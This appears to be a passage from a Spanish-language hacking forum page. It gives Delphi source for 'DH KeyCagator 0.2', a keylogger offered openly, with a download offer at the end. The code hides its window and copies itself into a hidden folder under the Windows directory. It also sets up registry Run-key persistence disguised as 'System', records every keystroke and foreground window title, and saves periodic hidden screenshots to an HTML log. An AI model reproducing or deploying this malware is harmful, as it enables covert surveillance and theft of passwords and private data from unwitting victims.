  75. procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
  76. begin
  77.  Form1.Hide;
  78.  Abort;
  79. end;
  80.  
  81. procedure TForm1.FormCreate(Sender: TObject);
  82. var
  83.  dir: string;
  84.  nombrereal: string;
  85.  rutareal: string;
  86.  yalisto: string;
  87.  her: TRegistry;
  88. begin
  89.  
  90.  Application.ShowMainForm := False;
  91.  
  92.  nombrereal := ExtractFileName(ParamStr(0));
  93.  rutareal := ParamStr(0);
  94.  yalisto := GetEnvironmentVariable('WINDIR') + '/acatoy_xD/' + nombrereal;
  95.  
  96.  MoveFile(Pchar(rutareal), Pchar(yalisto));
  97.  
  98.  SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  99.  
  100.  her := TRegistry.Create;
  101.  her.RootKey := HKEY_LOCAL_MACHINE;
  102.  
  103.  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False);
  104.  her.WriteString('System', yalisto);
  105.  her.Free;
  106.  
  107.  dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';
  108.  
  109.  if not(DirectoryExists(dir)) then
  110.  begin
  111.    CreateDir(dir);
  112.  end;
  113.  
  114.  ChDir(dir);
  115.  
  116.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
  117.    FILE_ATTRIBUTE_HIDDEN);
  118.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
  119.        + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);
  120.  
  121.  savefile('logs.html',
  122.    '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
  123.  
  124. end;
  125.  
  126. procedure TForm1.Timer1Timer(Sender: TObject);
  127. var
  128.  i: integer;
  129.  re: Longint;
  130. begin
  131.  
  132.  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  133.  begin
  134.  
  135.    re := GetAsyncKeyState(120);
  136.    If re = -32767 then
  137.    Begin
  138.      Form1.Show;
  139.    End;
  140.  end;
  141.  
  142. end;
  143.  
  144. end.
  145.  
  146. // The End ?
  147.  

Código
  1. // DH KeyCagator 0.2
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dhmain;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, StdCtrls, ShellApi, Jpeg;
  11.  
  12. type
  13.  TForm2 = class(TForm)
  14.    Image1: TImage;
  15.    GroupBox1: TGroupBox;
  16.    GroupBox2: TGroupBox;
  17.    GroupBox3: TGroupBox;
  18.    Button1: TButton;
  19.    Button2: TButton;
  20.    Button3: TButton;
  21.    Button4: TButton;
  22.    Label1: TLabel;
  23.    Timer1: TTimer;
  24.    Timer2: TTimer;
  25.    Timer3: TTimer;
  26.    Image2: TImage;
  27.    Label2: TLabel;
  28.    procedure FormCreate(Sender: TObject);
  29.    procedure Button1Click(Sender: TObject);
  30.    procedure Button2Click(Sender: TObject);
  31.    procedure Timer1Timer(Sender: TObject);
  32.    procedure Button3Click(Sender: TObject);
  33.    procedure Timer2Timer(Sender: TObject);
  34.    procedure Timer3Timer(Sender: TObject);
  35.    procedure Button4Click(Sender: TObject);
  36.  private
  37.  
  38.  private
  39.    Nombre2: string;
  40.  
  41.    { Private declarations }
  42.  public
  43.    { Public declarations }
  44.  end;
  45.  
  46. var
  47.  Form2: TForm2;
  48.  
  49. implementation
  50.  
  51. {$R *.dfm}
  52.  
  53. procedure savefile(filename, texto: string);
  54. var
  55.  ar: TextFile;
  56.  
  57. begin
  58.  
  59.  AssignFile(ar, filename);
  60.  FileMode := fmOpenWrite;
  61.  
  62.  if FileExists(filename) then
  63.    Append(ar)
  64.  else
  65.    Rewrite(ar);
  66.  
  67.  Write(ar, texto);
  68.  CloseFile(ar);
  69.  
  70. end;
  71.  
  72. procedure TForm2.Button1Click(Sender: TObject);
  73. begin
  74.  Label1.font.color := clLime;
  75.  Label1.Caption := 'Online';
  76.  Timer1.Enabled := True;
  77.  Timer2.Enabled := True;
  78.  Timer3.Enabled := True;
  79. end;
  80.  
  81. procedure TForm2.Button2Click(Sender: TObject);
  82. begin
  83.  Label1.font.color := clRed;
  84.  Label1.Caption := 'Offline';
  85.  Timer1.Enabled := False;
  86.  Timer2.Enabled := False;
  87.  Timer3.Enabled := False;
  88. end;
  89.  
  90. procedure TForm2.Button3Click(Sender: TObject);
  91. begin
  92.  ShellExecute(Handle, 'open', 'logs.html', nil, nil, SW_SHOWNORMAL);
  93. end;
  94.  
  95. procedure TForm2.Button4Click(Sender: TObject);
  96. begin
  97.  Application.Terminate;
  98. end;
  99.  
  100. procedure TForm2.FormCreate(Sender: TObject);
  101. var
  102.  dir: string;
  103. begin
  104.  
  105.  dir := GetEnvironmentVariable('WINDIR') + '/acatoy_xD';
  106.  
  107.  if not(DirectoryExists(dir)) then
  108.  begin
  109.    CreateDir(dir);
  110.  end;
  111.  
  112.  ChDir(dir);
  113.  
  114.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR') + '/acatoy_xD'),
  115.    FILE_ATTRIBUTE_HIDDEN);
  116.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
  117.        + '/acatoy_xD/logs.html'), FILE_ATTRIBUTE_HIDDEN);
  118.  
  119.  Label1.font.color := clLime;
  120.  Label1.Caption := 'Online';
  121.  Timer1.Enabled := True;
  122.  Timer2.Enabled := True;
  123.  Timer3.Enabled := True;
  124. end;
  125.  
  126. procedure TForm2.Timer1Timer(Sender: TObject);
  127. var
  128.  i: integer;
  129.  Result: Longint;
  130.  mayus: integer;
  131.  shift: integer;
  132.  
  133. const
  134.  
  135.  n_numeros_izquierda: array [1 .. 10] of string =
  136.    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');
  137.  
  138. const
  139.  t_numeros_izquierda: array [1 .. 10] of string =
  140.    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  141.  
  142. const
  143.  n_numeros_derecha: array [1 .. 10] of string =
  144.    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');
  145.  
  146. const
  147.  t_numeros_derecha: array [1 .. 10] of string =
  148.    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  149.  
  150. const
  151.  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
  152.    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
  153.    '291', '220', '221', '222', '226');
  154.  
  155. const
  156.  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
  157.    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
  158.    '|');
  159.  
  160. const
  161.  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
  162.    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
  163.    '226');
  164.  
  165. const
  166.  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
  167.    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
  168.    ' / ', ' \ \ \ ', ']', '[', '~', '\/');
  169.  
  170. begin
  171.  
  172.  // Others
  173.  
  174.  for i := Low(n_raros) to High(n_raros) do
  175.  begin
  176.    Result := GetAsyncKeyState(StrToInt(n_raros[i]));
  177.    If Result = -32767 then
  178.    begin
  179.      savefile('logs.html', t_raros[i]);
  180.    end;
  181.  end;
  182.  
  183.  // Numbers
  184.  
  185.  for i := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  186.  begin
  187.    Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[i]));
  188.    If Result = -32767 then
  189.    begin
  190.      savefile('logs.html', t_numeros_derecha[i]);
  191.    end;
  192.  end;
  193.  
  194.  for i := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  195.  begin
  196.    Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[i]));
  197.    If Result = -32767 then
  198.    begin
  199.      savefile('logs.html', t_numeros_izquierda[i]);
  200.    end;
  201.  end;
  202.  
  203.  // SHIFT
  204.  
  205.  if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  206.  begin
  207.  
  208.    for i := Low(n_shift) to High(n_shift) do
  209.    begin
  210.      Result := GetAsyncKeyState(StrToInt(n_shift[i]));
  211.      If Result = -32767 then
  212.      begin
  213.        savefile('logs.html', t_shift[i]);
  214.      end;
  215.    end;
  216.  
  217.    for i := 65 to 90 do
  218.    begin
  219.      Result := GetAsyncKeyState(i);
  220.      If Result = -32767 then
  221.      Begin
  222.        savefile('logs.html', Chr(i + 0));
  223.      End;
  224.    end;
  225.  
  226.  end;
  227.  
  228.  // MAYUS
  229.  
  230.  if (GetKeyState(20) = 0) then
  231.  begin
  232.    mayus := 32;
  233.  end
  234.  else
  235.  begin
  236.    mayus := 0;
  237.  end;
  238.  
  239.  for i := 65 to 90 do
  240.  begin
  241.    Result := GetAsyncKeyState(i);
  242.    If Result = -32767 then
  243.    Begin
  244.      savefile('logs.html', Chr(i + mayus));
  245.    End;
  246.  end;
  247.  
  248. end;
  249.  
  250. procedure TForm2.Timer2Timer(Sender: TObject);
  251. var
  252.  ventana1: array [0 .. 255] of char;
  253.  nombre1: string;
  254.  
  255. begin
  256.  
  257.  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
  258.  
  259.  nombre1 := ventana1;
  260.  
  261.  if not(nombre1 = Nombre2) then
  262.  begin
  263.    Nombre2 := nombre1;
  264.    savefile('logs.html',
  265.      '<hr style=color:#00FF00><h2><center>' + Nombre2 + '</h2></center><br>');
  266.  end;
  267.  
  268. end;
  269.  
  270. procedure TForm2.Timer3Timer(Sender: TObject);
  271. var
  272.  foto1: TBitmap;
  273.  foto2: TJpegImage;
  274.  ventana: HDC;
  275.  generado: string;
  276.  
  277. begin
  278.  
  279.  ventana := GetWindowDC(GetDesktopWindow);
  280.  
  281.  foto1 := TBitmap.Create;
  282.  foto1.PixelFormat := pf24bit;
  283.  foto1.Height := Screen.Height;
  284.  foto1.Width := Screen.Width;
  285.  
  286.  BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
  287.    SRCCOPY);
  288.  
  289.  foto2 := TJpegImage.Create;
  290.  foto2.Assign(foto1);
  291.  foto2.CompressionQuality := 60;
  292.  
  293.  generado := IntToStr(Random(100)) + '.jpg';
  294.  
  295.  foto2.SaveToFile(generado);
  296.  SetFileAttributes(Pchar(GetEnvironmentVariable('WINDIR')
  297.        + '/acatoy_xD/' + generado), FILE_ATTRIBUTE_HIDDEN);
  298.  
  299.  savefile('logs.html', '<br><br><center><img src=' + generado +
  300.      '></center><br><br>');
  301.  
  302. end;
  303.  
  304. end.
  305.  
  306. // The End ?
  307.  

Si lo quieren bajar lo pueden hacer de aca.
Páginas: 1 ... 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [18] 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ... 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines